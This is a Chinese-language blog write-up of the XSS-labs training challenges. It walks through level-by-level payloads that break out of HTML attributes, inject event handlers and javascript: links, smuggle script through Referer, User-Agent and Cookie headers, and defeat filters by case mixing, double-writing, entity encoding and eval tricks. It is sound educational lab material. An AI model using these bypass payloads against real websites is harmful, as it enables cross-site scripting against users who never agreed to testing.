XSS-labs闯关记录

XSS-Labs闯关记录

level1

image-20230420193943286

首先看到地址栏有name字段,有输入点和输出点

直接尝试有无过滤

image-20230420194116781

level2

image-20230420194212893

image-20230420194226568

看到地址栏中的参数输出在搜索框内,查看源码

image-20230420194355923

尝试构造payload,成功

xss" onclick="alert('xss')
level3

image-20230420202311742

image-20230420202245691

查看页面源代码发现单引号未被过滤,构造payload

xss' onclick='alert(1)
level4

image-20230420203207562

image-20230420203120741

双引号闭合,构造payload

xss" onclick="alert(1)
level5

image-20230420203427517

image-20230420203413216

双引号闭合,字符为过滤,构造payload后发现

image-20230420203603177

on事件行不通了 换一种思路 闭合input重新构造script语句,结果发现

image-20230420204301341

script也被过滤了,于是尝试超链接

"><a href=javascript:alert(1)>123</a>

点击插入的超链接,成功过关

level6

查看源代码发现是双引号闭合,经过测试href,script,on事件都被过滤了,尝试大小写绕过,成功过关

image-20230420205826001

"ONclick="alert(1)
level7

image-20230420210148571

测试发现on和script等被替换成了空,尝试双写绕过

"oonnclick = "alert(1)
level8

image-20230420210537870

输出点多了一个超链接,经过测试 javascript,on等都被替换了,于是尝试html实体字符绕过

image-20230420211708628

image-20230420211543034

level9

这里添加链接时一直显示链接不合法,经过测试后发现检查规则为链接必须包含http://,同时script等都被过滤,将除了http://的部分html实体转换,需要将http://注释掉,否则语法错误

image-20230420214029247

&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;/*http://*/
level10

这关有点难,首先页面上没有输入点和输出点,get参数全都被过滤了,查看源码看到有隐藏的表单元素

F12修改代码,将表单元素显示,并添加按钮

image-20230420215242360

文本框随便输入内容点击按钮后发现t_sort文本框的内容留下了,于是针对这个文本框构造payload

t_link=111&t_history=111&t_sort=1111" onclick="alert(1)" type="button

点击生成的按钮,过关
image-20230420220235010

level11

同第十关,测试输出点在什么位置

image-20230421080333605

image-20230421080425688

可以看到同样是t_sort元素,构造payload闭合后发现,输入的payload被后台处理了,因此这个地方不是我们想要的输出点

image-20230421081058529

测试发现t_ref字段输入的是请求头中的refer字段信息

image-20230421082811420

构造payload

image-20230421082731285

level12

与上一关类似,不同的是这一关的输入点在User-Agent字段

image-20230421083009767

构造payload

image-20230421083129982

level13

抓包发现t_cook输入的内容为请求头中的Cookie字段

构造payload

image-20230421083616989

level14

需要访问外网,跳过

level15

输入点在ng-include包含中

image-20230421085039168

image-20230421085014942

构造payload,包含一个存在xss的网页

?src='./levle1.php?name=<img src=1 onerror=alert(1)/>‘

ng-include用法

1、ng-include 指令用于包含外部的 HTML文件。

2、包含的内容将作为指定元素的子节点。

3、ng-include 属性的值可以是一个表达式,返回一个文件名。

4、默认情况下,包含的文件需要包含在同一个域名下。

需要注意:

1.ng-include,如果单纯指定地址,必须要加引号

2.ng-include,加载外部html,script标签中的内容不执行

3.ng-include,加载外部html中含有style标签样式可以识别

level16

构造payload测试发现空格,script,/被替换了

image-20230421092730839

使用img标签,%0A换行绕过空格过滤

image-20230421093045344

?keyword=<img%0Asrc=1%0Aonerror=alert(1)>
level17

查看源码

image-20230421094004208

地址栏中的两个参数都添加到了src这里,构造payload

?arg01=111&arg02=222 onmouseover=alert(1)
level18

同上一关

?arg01=a&arg02=b onmouseover=alert(1)
level19

也是两个参数,构造payload发现特殊字符都被实体转义了

image-20230421094758998

这一关是flass xss 了解即可

?arg01=version&arg02=<a href="javascript:alert(1)">111</a>

level19 level20 略过

总结

查看页面的输入点和输出点(http头部,url地址栏,表单元素等),针对输出点构造payload

常用绕过方式

1.字符过滤绕过

  • 空格绕过
用/代替空格
<img/src="x"/onerror=alert("xss");>

用/**/ 代替空格
<img/src="x"/**/onerror=alert("xss");>
  • 大小写绕过
<ImG sRc=x onerRor=alert("xss");>
  • 双写绕过
<imimgg srsrcc=x onerror=alert("xss");>
  • 利用eval
<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">
  • 利用top
<script>top["al"+"ert"](`xss`);</script>

2.编码绕过

  • ASCII码绕过
  • url编码绕过
  • hex绕过
  • base64
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值